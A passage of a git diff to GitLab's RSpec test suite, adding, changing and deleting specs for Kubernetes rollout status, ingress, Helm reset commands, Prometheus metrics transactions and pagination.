+ kube_pod(name: 'kube-pod3', status: 'Pending')
+ ]
+ end
+
+ let(:params) { combine(named('foo'), generation(1, 0, 4)) }
+
+ it 'returns all instances as named and waiting' do
+ expected = [
+ { status: 'pending', pod_name: 'kube-pod', tooltip: 'kube-pod (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'kube-pod1', tooltip: 'kube-pod1 (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'kube-pod2', tooltip: 'kube-pod2 (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'kube-pod3', tooltip: 'kube-pod3 (Pending)', track: 'stable', stable: true }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+
+ context 'with pods of each type' do
+ let(:pods) do
+ [
+ kube_pod(status: 'Succeeded'),
+ kube_pod(name: 'kube-pod1', status: 'Running'),
+ kube_pod(name: 'kube-pod2', status: 'Pending'),
+ kube_pod(name: 'kube-pod3', status: 'Pending')
+ ]
+ end
+
+ let(:params) { combine(named('foo'), generation(1, 1, 4)) }
+
+ it 'returns all instances' do
+ expected = [
+ { status: 'succeeded', pod_name: 'kube-pod', tooltip: 'kube-pod (Succeeded)', track: 'stable', stable: true },
+ { status: 'running', pod_name: 'kube-pod1', tooltip: 'kube-pod1 (Running)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'kube-pod2', tooltip: 'kube-pod2 (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'kube-pod3', tooltip: 'kube-pod3 (Pending)', track: 'stable', stable: true }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+
+ context 'with track label' do
+ let(:pods) { [kube_pod(status: 'Pending')] }
+ let(:labels) { { 'track' => track } }
+ let(:params) { combine(named('foo', labels), generation(1, 0, 1)) }
+
+ context 'when marked as stable' do
+ let(:track) { 'stable' }
+
+ it 'returns all instances' do
+ expected = [
+ { status: 'pending', pod_name: 'kube-pod', tooltip: 'kube-pod (Pending)', track: 'stable', stable: true }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+
+ context 'when marked as canary' do
+ let(:track) { 'canary' }
+ let(:pods) { [kube_pod(status: 'Pending', track: track)] }
+
+ it 'returns all instances' do
+ expected = [
+ { status: 'pending', pod_name: 'kube-pod', tooltip: 'kube-pod (Pending)', track: 'canary', stable: false }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+ end
+ end
+
+ def generation(expected, observed, replicas)
+ combine(
+ make('metadata', 'generation' => expected),
+ make('status', 'observedGeneration' => observed),
+ make('spec', 'replicas' => replicas)
+ )
+ end
+
+ def named(name = "foo", labels = {})
+ make('metadata', 'name' => name, 'labels' => labels)
+ end
+
+ def make(key, values = {})
+ hsh = {}
+ hsh[key] = values
+ hsh
+ end
+
+ def combine(*hashes)
+ out = {}
+ hashes.each { |hsh| out = out.deep_merge(hsh) }
+ out
+ end
+end
diff --git a/spec/lib/gitlab/kubernetes/helm/v2/reset_command_spec.rb b/spec/lib/gitlab/kubernetes/helm/v2/reset_command_spec.rb
index 9e580cea397..2a3a4cec2b0 100644
--- a/spec/lib/gitlab/kubernetes/helm/v2/reset_command_spec.rb
+++ b/spec/lib/gitlab/kubernetes/helm/v2/reset_command_spec.rb
@@ -12,32 +12,14 @@ RSpec.describe Gitlab::Kubernetes::Helm::V2::ResetCommand do
it_behaves_like 'helm command generator' do
let(:commands) do
<<~EOS
- helm reset
- kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
- kubectl delete clusterrolebinding tiller-admin
+ export HELM_HOST="localhost:44134"
+ tiller -listen ${HELM_HOST} -alsologtostderr &
+ helm init --client-only
+ helm reset --force
EOS
end
end
- context 'when there is a ca.pem file' do
- let(:files) { { 'ca.pem': 'some file content' } }
-
- it_behaves_like 'helm command generator' do
- let(:commands) do
- <<~EOS1.squish + "\n" + <<~EOS2
- helm reset
- --tls
- --tls-ca-cert /data/helm/helm/config/ca.pem
- --tls-cert /data/helm/helm/config/cert.pem
- --tls-key /data/helm/helm/config/key.pem
- EOS1
- kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
- kubectl delete clusterrolebinding tiller-admin
- EOS2
- end
- end
- end
-
describe '#pod_name' do
subject { reset_command.pod_name }
diff --git a/spec/lib/gitlab/kubernetes/ingress_spec.rb b/spec/lib/gitlab/kubernetes/ingress_spec.rb
new file mode 100644
index 00000000000..e4d6bf4086f
--- /dev/null
+++ b/spec/lib/gitlab/kubernetes/ingress_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kubernetes::Ingress do
+ include KubernetesHelpers
+
+ let(:ingress) { described_class.new(params) }
+
+ describe '#canary?' do
+ subject { ingress.canary? }
+
+ context 'with canary ingress parameters' do
+ let(:params) { canary_metadata }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'with stable ingress parameters' do
+ let(:params) { stable_metadata }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ describe '#canary_weight' do
+ subject { ingress.canary_weight }
+
+ context 'with canary ingress parameters' do
+ let(:params) { canary_metadata }
+
+ it { is_expected.to eq(50) }
+ end
+
+ context 'with stable ingress parameters' do
+ let(:params) { stable_metadata }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ describe '#name' do
+ subject { ingress.name }
+
+ let(:params) { stable_metadata }
+
+ it { is_expected.to eq('production-auto-deploy') }
+ end
+
+ def stable_metadata
+ kube_ingress(track: :stable)
+ end
+
+ def canary_metadata
+ kube_ingress(track: :canary)
+ end
+end
diff --git a/spec/lib/gitlab/kubernetes/rollout_instances_spec.rb b/spec/lib/gitlab/kubernetes/rollout_instances_spec.rb
new file mode 100644
index 00000000000..3ac97ddc75d
--- /dev/null
+++ b/spec/lib/gitlab/kubernetes/rollout_instances_spec.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kubernetes::RolloutInstances do
+ include KubernetesHelpers
+
+ def setup(deployments_attrs, pods_attrs)
+ deployments = deployments_attrs.map do |attrs|
+ ::Gitlab::Kubernetes::Deployment.new(attrs, pods: pods_attrs)
+ end
+
+ pods = pods_attrs.map do |attrs|
+ ::Gitlab::Kubernetes::Pod.new(attrs)
+ end
+
+ [deployments, pods]
+ end
+
+ describe '#pod_instances' do
+ it 'returns an instance for a deployment with one pod' do
+ deployments, pods = setup(
+ [kube_deployment(name: 'one', track: 'stable', replicas: 1)],
+ [kube_pod(name: 'one', status: 'Running', track: 'stable')]
+ )
+ rollout_instances = described_class.new(deployments, pods)
+
+ expect(rollout_instances.pod_instances).to eq([{
+ pod_name: 'one',
+ stable: true,
+ status: 'running',
+ tooltip: 'one (Running)',
+ track: 'stable'
+ }])
+ end
+
+ it 'returns a pending pod for a missing replica' do
+ deployments, pods = setup(
+ [kube_deployment(name: 'one', track: 'stable', replicas: 1)],
+ []
+ )
+ rollout_instances = described_class.new(deployments, pods)
+
+ expect(rollout_instances.pod_instances).to eq([{
+ pod_name: 'Not provided',
+ stable: true,
+ status: 'pending',
+ tooltip: 'Not provided (Pending)',
+ track: 'stable'
+ }])
+ end
+
+ it 'returns instances when there are two stable deployments' do
+ deployments, pods = setup([
+ kube_deployment(name: 'one', track: 'stable', replicas: 1),
+ kube_deployment(name: 'two', track: 'stable', replicas: 1)
+ ], [
+ kube_pod(name: 'one', status: 'Running', track: 'stable'),
+ kube_pod(name: 'two', status: 'Running', track: 'stable')
+ ])
+ rollout_instances = described_class.new(deployments, pods)
+
+ expect(rollout_instances.pod_instances).to eq([{
+ pod_name: 'one',
+ stable: true,
+ status: 'running',
+ tooltip: 'one (Running)',
+ track: 'stable'
+ }, {
+ pod_name: 'two',
+ stable: true,
+ status: 'running',
+ tooltip: 'two (Running)',
+ track: 'stable'
+ }])
+ end
+
+ it 'returns instances for two deployments with different tracks' do
+ deployments, pods = setup([
+ kube_deployment(name: 'one', track: 'mytrack', replicas: 1),
+ kube_deployment(name: 'two', track: 'othertrack', replicas: 1)
+ ], [
+ kube_pod(name: 'one', status: 'Running', track: 'mytrack'),
+ kube_pod(name: 'two', status: 'Running', track: 'othertrack')
+ ])
+ rollout_instances = described_class.new(deployments, pods)
+
+ expect(rollout_instances.pod_instances).to eq([{
+ pod_name: 'one',
+ stable: false,
+ status: 'running',
+ tooltip: 'one (Running)',
+ track: 'mytrack'
+ }, {
+ pod_name: 'two',
+ stable: false,
+ status: 'running',
+ tooltip: 'two (Running)',
+ track: 'othertrack'
+ }])
+ end
+
+ it 'sorts stable tracks after canary tracks' do
+ deployments, pods = setup([
+ kube_deployment(name: 'one', track: 'stable', replicas: 1),
+ kube_deployment(name: 'two', track: 'canary', replicas: 1)
+ ], [
+ kube_pod(name: 'one', status: 'Running', track: 'stable'),
+ kube_pod(name: 'two', status: 'Running', track: 'canary')
+ ])
+ rollout_instances = described_class.new(deployments, pods)
+
+ expect(rollout_instances.pod_instances).to eq([{
+ pod_name: 'two',
+ stable: false,
+ status: 'running',
+ tooltip: 'two (Running)',
+ track: 'canary'
+ }, {
+ pod_name: 'one',
+ stable: true,
+ status: 'running',
+ tooltip: 'one (Running)',
+ track: 'stable'
+ }])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/kubernetes/rollout_status_spec.rb b/spec/lib/gitlab/kubernetes/rollout_status_spec.rb
new file mode 100644
index 00000000000..8ed9fdd799c
--- /dev/null
+++ b/spec/lib/gitlab/kubernetes/rollout_status_spec.rb
@@ -0,0 +1,271 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kubernetes::RolloutStatus do
+ include KubernetesHelpers
+
+ let(:track) { nil }
+ let(:specs) { specs_all_finished }
+
+ let(:pods) do
+ create_pods(name: "one", count: 3, track: 'stable') + create_pods(name: "two", count: 3, track: "canary")
+ end
+
+ let(:ingresses) { [] }
+
+ let(:specs_all_finished) do
+ [
+ kube_deployment(name: 'one'),
+ kube_deployment(name: 'two', track: track)
+ ]
+ end
+
+ let(:specs_half_finished) do
+ [
+ kube_deployment(name: 'one'),
+ kube_deployment(name: 'two', track: track)
+ ]
+ end
+
+ subject(:rollout_status) { described_class.from_deployments(*specs, pods_attrs: pods, ingresses: ingresses) }
+
+ describe '#deployments' do
+ it 'stores the deployments' do
+ expect(rollout_status.deployments).to be_kind_of(Array)
+ expect(rollout_status.deployments.size).to eq(2)
+ expect(rollout_status.deployments.first).to be_kind_of(::Gitlab::Kubernetes::Deployment)
+ end
+ end
+
+ describe '#instances' do
+ context 'for stable track' do
+ let(:track) { "any" }
+
+ let(:pods) do
+ create_pods(name: "one", count: 3, track: 'stable') + create_pods(name: "two", count: 3, track: "any")
+ end
+
+ it 'stores the union of deployment instances' do
+ expected = [
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'any', stable: false },
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'any', stable: false },
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'any', stable: false },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true }
+ ]
+
+ expect(rollout_status.instances).to eq(expected)
+ end
+ end
+
+ context 'for stable track' do
+ let(:track) { 'canary' }
+
+ let(:pods) do
+ create_pods(name: "one", count: 3, track: 'stable') + create_pods(name: "two", count: 3, track: track)
+ end
+
+ it 'sorts stable instances last' do
+ expected = [
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'canary', stable: false },
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'canary', stable: false },
+ { status: 'running', pod_name: "two", tooltip: 'two (Running)', track: 'canary', stable: false },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true },
+ { status: 'running', pod_name: "one", tooltip: 'one (Running)', track: 'stable', stable: true }
+ ]
+
+ expect(rollout_status.instances).to eq(expected)
+ end
+ end
+ end
+
+ describe '#completion' do
+ subject { rollout_status.completion }
+
+ context 'when all instances are finished' do
+ let(:track) { 'canary' }
+
+ it { is_expected.to eq(100) }
+ end
+
+ context 'when half of the instances are finished' do
+ let(:track) { "canary" }
+
+ let(:pods) do
+ create_pods(name: "one", count: 3, track: 'stable') + create_pods(name: "two", count: 3, track: track, status: "Pending")
+ end
+
+ let(:specs) { specs_half_finished }
+
+ it { is_expected.to eq(50) }
+ end
+
+ context 'with one deployment' do
+ it 'sets the completion percentage when a deployment has more running pods than desired' do
+ deployments = [kube_deployment(name: 'one', track: 'one', replicas: 2)]
+ pods = create_pods(name: 'one', track: 'one', count: 3)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(100)
+ end
+ end
+
+ context 'with two deployments on different tracks' do
+ it 'sets the completion percentage when all pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'one', replicas: 2),
+ kube_deployment(name: 'two', track: 'two', replicas: 2)
+ ]
+ pods = create_pods(name: 'one', track: 'one', count: 2) + create_pods(name: 'two', track: 'two', count: 2)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(100)
+ end
+ end
+
+ context 'with two deployments that both have track set to "stable"' do
+ it 'sets the completion percentage when all pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 2),
+ kube_deployment(name: 'two', track: 'stable', replicas: 2)
+ ]
+ pods = create_pods(name: 'one', track: 'stable', count: 2) + create_pods(name: 'two', track: 'stable', count: 2)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(100)
+ end
+
+ it 'sets the completion percentage when no pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 3),
+ kube_deployment(name: 'two', track: 'stable', replicas: 7)
+ ]
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: [])
+
+ expect(rollout_status.completion).to eq(0)
+ end
+
+ it 'sets the completion percentage when a quarter of the pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 6),
+ kube_deployment(name: 'two', track: 'stable', replicas: 2)
+ ]
+ pods = create_pods(name: 'one', track: 'stable', count: 2)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(25)
+ end
+ end
+
+ context 'with two deployments, one with track set to "stable" and one with no track label' do
+ it 'sets the completion percentage when all pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 3),
+ kube_deployment(name: 'two', track: nil, replicas: 3)
+ ]
+ pods = create_pods(name: 'one', track: 'stable', count: 3) + create_pods(name: 'two', track: nil, count: 3)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(100)
+ end
+
+ it 'sets the completion percentage when no pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 1),
+ kube_deployment(name: 'two', track: nil, replicas: 1)
+ ]
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: [])
+
+ expect(rollout_status.completion).to eq(0)
+ end
+
+ it 'sets the completion percentage when a third of the pods are complete' do
+ deployments = [
+ kube_deployment(name: 'one', track: 'stable', replicas: 2),
+ kube_deployment(name: 'two', track: nil, replicas: 7)
+ ]
+ pods = create_pods(name: 'one', track: 'stable', count: 2) + create_pods(name: 'two', track: nil, count: 1)
+ rollout_status = described_class.from_deployments(*deployments, pods_attrs: pods)
+
+ expect(rollout_status.completion).to eq(33)
+ end
+ end
+ end
+
+ describe '#complete?' do
+ subject { rollout_status.complete? }
+
+ context 'when all instances are finished' do
+ let(:track) { 'canary' }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when half of the instances are finished' do
+ let(:track) { "canary" }
+
+ let(:pods) do
+ create_pods(name: "one", count: 3, track: 'stable') + create_pods(name: "two", count: 3, track: track, status: "Pending")
+ end
+
+ let(:specs) { specs_half_finished }
+
+ it { is_expected.to be_falsy}
+ end
+ end
+
+ describe '#found?' do
+ context 'when the specs are passed' do
+ it { is_expected.to be_found }
+ end
+
+ context 'when list of specs is empty' do
+ let(:specs) { [] }
+
+ it { is_expected.not_to be_found }
+ end
+ end
+
+ describe '.loading' do
+ subject { described_class.loading }
+
+ it { is_expected.to be_loading }
+ end
+
+ describe '#not_found?' do
+ context 'when the specs are passed' do
+ it { is_expected.not_to be_not_found }
+ end
+
+ context 'when list of specs is empty' do
+ let(:specs) { [] }
+
+ it { is_expected.to be_not_found }
+ end
+ end
+
+ describe '#canary_ingress_exists?' do
+ context 'when canary ingress exists' do
+ let(:ingresses) { [kube_ingress(track: :canary)] }
+
+ it 'returns true' do
+ expect(rollout_status.canary_ingress_exists?).to eq(true)
+ end
+ end
+
+ context 'when canary ingress does not exist' do
+ let(:ingresses) { [kube_ingress(track: :stable)] }
+
+ it 'returns false' do
+ expect(rollout_status.canary_ingress_exists?).to eq(false)
+ end
+ end
+ end
+
+ def create_pods(name:, count:, track: nil, status: 'Running' )
+ Array.new(count, kube_pod(name: name, status: status, track: track))
+ end
+end
diff --git a/spec/lib/gitlab/metrics/background_transaction_spec.rb b/spec/lib/gitlab/metrics/background_transaction_spec.rb
deleted file mode 100644
index b2a53fe1626..00000000000
--- a/spec/lib/gitlab/metrics/background_transaction_spec.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Metrics::BackgroundTransaction do
- let(:test_worker_class) { double(:class, name: 'TestWorker') }
- let(:prometheus_metric) { instance_double(Prometheus::Client::Metric, base_labels: {}) }
-
- before do
- allow(described_class).to receive(:prometheus_metric).and_return(prometheus_metric)
- end
-
- subject { described_class.new(test_worker_class) }
-
- RSpec.shared_examples 'metric with worker labels' do |metric_method|
- it 'measures with correct labels and value' do
- value = 1
- expect(prometheus_metric).to receive(metric_method).with({ controller: 'TestWorker', action: 'perform', feature_category: '' }, value)
-
- subject.send(metric_method, :bau, value)
- end
- end
-
- describe '#label' do
- it 'returns labels based on class name' do
- expect(subject.labels).to eq(controller: 'TestWorker', action: 'perform', feature_category: '')
- end
-
- it 'contains only the labels defined for metrics' do
- expect(subject.labels.keys).to contain_exactly(*described_class.superclass::BASE_LABEL_KEYS)
- end
-
- it 'includes the feature category if there is one' do
- expect(test_worker_class).to receive(:get_feature_category).and_return('source_code_management')
- expect(subject.labels).to include(feature_category: 'source_code_management')
- end
- end
-
- describe '#increment' do
- let(:prometheus_metric) { instance_double(Prometheus::Client::Counter, :increment, base_labels: {}) }
-
- it_behaves_like 'metric with worker labels', :increment
- end
-
- describe '#set' do
- let(:prometheus_metric) { instance_double(Prometheus::Client::Gauge, :set, base_labels: {}) }
-
- it_behaves_like 'metric with worker labels', :set
- end
-
- describe '#observe' do
- let(:prometheus_metric) { instance_double(Prometheus::Client::Histogram, :observe, base_labels: {}) }
-
- it_behaves_like 'metric with worker labels', :observe
- end
-end
diff --git a/spec/lib/gitlab/metrics/sidekiq_middleware_spec.rb b/spec/lib/gitlab/metrics/sidekiq_middleware_spec.rb
deleted file mode 100644
index 047d1e5d205..00000000000
--- a/spec/lib/gitlab/metrics/sidekiq_middleware_spec.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Metrics::SidekiqMiddleware do
- let(:middleware) { described_class.new }
- let(:message) { { 'args' => ['test'], 'enqueued_at' => Time.new(2016, 6, 23, 6, 59).to_f } }
-
- describe '#call' do
- it 'tracks the transaction' do
- worker = double(:worker, class: double(:class, name: 'TestWorker'))
-
- expect_next_instance_of(Gitlab::Metrics::BackgroundTransaction) do |transaction|
- expect(transaction).to receive(:set).with(:gitlab_transaction_sidekiq_queue_duration_total, instance_of(Float))
- expect(transaction).to receive(:increment).with(:gitlab_transaction_db_count_total, 1)
- end
-
- middleware.call(worker, message, :test) do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
- end
- end
-
- it 'prevents database counters from leaking to the next transaction' do
- worker = double(:worker, class: double(:class, name: 'TestWorker'))
-
- 2.times do
- Gitlab::WithRequestStore.with_request_store do
- middleware.call(worker, message, :test) do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
- end
- end
- end
-
- expect(message).to include(db_count: 1, db_write_count: 0, db_cached_count: 0)
- end
-
- it 'tracks the transaction (for messages without `enqueued_at`)', :aggregate_failures do
- worker = double(:worker, class: double(:class, name: 'TestWorker'))
-
- expect(Gitlab::Metrics::BackgroundTransaction).to receive(:new)
- .with(worker.class)
- .and_call_original
-
- expect_any_instance_of(Gitlab::Metrics::Transaction).to receive(:set)
- .with(:gitlab_transaction_sidekiq_queue_duration_total, instance_of(Float))
-
- middleware.call(worker, {}, :test) { nil }
- end
-
- it 'tracks any raised exceptions', :aggregate_failures, :request_store do
- worker = double(:worker, class: double(:class, name: 'TestWorker'))
-
- expect_any_instance_of(Gitlab::Metrics::Transaction)
- .to receive(:add_event).with(:sidekiq_exception)
-
- expect do
- middleware.call(worker, message, :test) do
- ActiveRecord::Base.connection.execute('SELECT pg_sleep(0.1);')
- raise RuntimeError
- end
- end.to raise_error(RuntimeError)
-
- expect(message).to include(db_count: 1, db_write_count: 0, db_cached_count: 0)
- end
- end
-end
diff --git a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
index a31686b8061..edcd5b31941 100644
--- a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
@@ -18,59 +18,73 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
end
describe '#sql' do
- describe 'without a current transaction' do
- it 'simply returns' do
- expect_any_instance_of(Gitlab::Metrics::Transaction)
- .not_to receive(:increment)
+ shared_examples 'track query in metrics' do
+ before do
+ allow(subscriber).to receive(:current_transaction)
+ .at_least(:once)
+ .and_return(transaction)
+ end
+
+ it 'increments only db count value' do
+ described_class::DB_COUNTERS.each do |counter|
+ prometheus_counter = "gitlab_transaction_#{counter}_total".to_sym
+ if expected_counters[counter] > 0
+ expect(transaction).to receive(:increment).with(prometheus_counter, 1)
+ else
+ expect(transaction).not_to receive(:increment).with(prometheus_counter, 1)
+ end
+ end
subscriber.sql(event)
end
end
- describe 'with a current transaction' do
- shared_examples 'track executed query' do
- before do
- allow(subscriber).to receive(:current_transaction)
- .at_least(:once)
- .and_return(transaction)
- end
+ shared_examples 'track query in RequestStore' do
+ context 'when RequestStore is enabled' do
+ it 'caches db count value', :request_store, :aggregate_failures do
+ subscriber.sql(event)
- it 'increments only db count value' do
described_class::DB_COUNTERS.each do |counter|
- prometheus_counter = "gitlab_transaction_#{counter}_total".to_sym
- if expected_counters[counter] > 0
- expect(transaction).to receive(:increment).with(prometheus_counter, 1)
- else
- expect(transaction).not_to receive(:increment).with(prometheus_counter, 1)
- end
+ expect(Gitlab::SafeRequestStore[counter].to_i).to eq expected_counters[counter]
end
-
- subscriber.sql(event)
end
- context 'when RequestStore is enabled' do
- it 'caches db count value', :request_store, :aggregate_failures do
- subscriber.sql(event)
+ it 'prevents db counters from leaking to the next transaction' do
+ 2.times do
+ Gitlab::WithRequestStore.with_request_store do
+ subscriber.sql(event)
- described_class::DB_COUNTERS.each do |counter|
- expect(Gitlab::SafeRequestStore[counter].to_i).to eq expected_counters[counter]
+ described_class::DB_COUNTERS.each do |counter|
+ expect(Gitlab::SafeRequestStore[counter].to_i).to eq expected_counters[counter]
+ end
end
end
+ end
+ end
+ end
+
+ describe 'without a current transaction' do
+ it 'does not track any metrics' do
+ expect_any_instance_of(Gitlab::Metrics::Transaction)
+ .not_to receive(:increment)
- it 'prevents db counters from leaking to the next transaction' do
- 2.times do
- Gitlab::WithRequestStore.with_request_store do
- subscriber.sql(event)
+ subscriber.sql(event)
+ end
- described_class::DB_COUNTERS.each do |counter|
- expect(Gitlab::SafeRequestStore[counter].to_i).to eq expected_counters[counter]
- end
- end
- end
- end
+ context 'with read query' do
+ let(:expected_counters) do
+ {
+ db_count: 1,
+ db_write_count: 0,
+ db_cached_count: 0
+ }
end
+
+ it_behaves_like 'track query in RequestStore'
end
+ end
+ describe 'with a current transaction' do
it 'observes sql_duration metric' do
expect(subscriber).to receive(:current_transaction)
.at_least(:once)
@@ -96,12 +110,14 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
}
end
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
context 'with only select' do
let(:payload) { { sql: 'WITH active_milestones AS (SELECT COUNT(*), state FROM milestones GROUP BY state) SELECT * FROM active_milestones' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
end
@@ -117,33 +133,38 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
context 'with select for update sql event' do
let(:payload) { { sql: 'SELECT * FROM users WHERE id = 10 FOR UPDATE' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
context 'with common table expression' do
context 'with insert' do
let(:payload) { { sql: 'WITH archived_rows AS (SELECT * FROM users WHERE archived = true) INSERT INTO products_log SELECT * FROM archived_rows' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
end
context 'with delete sql event' do
let(:payload) { { sql: 'DELETE FROM users where id = 10' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
context 'with insert sql event' do
let(:payload) { { sql: 'INSERT INTO project_ci_cd_settings (project_id) SELECT id FROM projects' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
context 'with update sql event' do
let(:payload) { { sql: 'UPDATE users SET admin = true WHERE id = 10' } }
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
end
@@ -164,18 +185,20 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
}
end
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
context 'with cached payload name' do
let(:payload) do
{
- sql: 'SELECT * FROM users WHERE id = 10',
- name: 'CACHE'
+ sql: 'SELECT * FROM users WHERE id = 10',
+ name: 'CACHE'
}
end
- it_behaves_like 'track executed query'
+ it_behaves_like 'track query in metrics'
+ it_behaves_like 'track query in RequestStore'
end
end
@@ -227,8 +250,8 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
it 'skips schema/begin/commit sql commands' do
allow(subscriber).to receive(:current_transaction)
- .at_least(:once)
- .and_return(transaction)
+ .at_least(:once)
+ .and_return(transaction)
expect(transaction).not_to receive(:increment)
diff --git a/spec/lib/gitlab/metrics/transaction_spec.rb b/spec/lib/gitlab/metrics/transaction_spec.rb
index 88293f11149..d4e5a1a94f2 100644
--- a/spec/lib/gitlab/metrics/transaction_spec.rb
+++ b/spec/lib/gitlab/metrics/transaction_spec.rb
@@ -20,14 +20,6 @@ RSpec.describe Gitlab::Metrics::Transaction do
end
end
- describe '#thread_cpu_duration' do
- it 'returns the duration of a transaction in seconds' do
- transaction.run { }
-
- expect(transaction.thread_cpu_duration).to be > 0
- end
- end
-
describe '#run' do
it 'yields the supplied block' do
expect { |b| transaction.run(&b) }.to yield_control
diff --git a/spec/lib/gitlab/metrics/web_transaction_spec.rb b/spec/lib/gitlab/metrics/web_transaction_spec.rb
index 6903ce53f65..6ee9564ef75 100644
--- a/spec/lib/gitlab/metrics/web_transaction_spec.rb
+++ b/spec/lib/gitlab/metrics/web_transaction_spec.rb
@@ -80,13 +80,15 @@ RSpec.describe Gitlab::Metrics::WebTransaction do
context 'when request goes to Grape endpoint' do
before do
route = double(:route, request_method: 'GET', path: '/:version/projects/:id/archive(.:format)')
- endpoint = double(:endpoint, route: route)
+ endpoint = double(:endpoint, route: route,
+ options: { for: API::Projects, path: [":id/archive"] },
+ namespace: "/projects")
env['api.endpoint'] = endpoint
end
it 'provides labels with the method and path of the route in the grape endpoint' do
- expect(transaction.labels).to eq({ controller: 'Grape', action: 'GET /projects/:id/archive', feature_category: '' })
+ expect(transaction.labels).to eq({ controller: 'Grape', action: 'GET /projects/:id/archive', feature_category: 'projects' })
end
it 'contains only the labels defined for transactions' do
diff --git a/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb b/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
index 156a440833c..132a0e9ca78 100644
--- a/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
+++ b/spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb
@@ -57,17 +57,45 @@ RSpec.describe Gitlab::Pagination::GitalyKeysetPager do
end
context 'with branch_list_keyset_pagination feature on' do
+ let(:fake_request) { double(url: "#{incoming_api_projects_url}?#{query.to_query}") }
+ let(:branch1) { double 'branch', name: 'branch1' }
+ let(:branch2) { double 'branch', name: 'branch2' }
+ let(:branch3) { double 'branch', name: 'branch3' }
+
before do
stub_feature_flags(branch_list_keyset_pagination: project)
end
context 'without keyset pagination option' do
- it_behaves_like 'offset pagination'
+ context 'when first page is requested' do
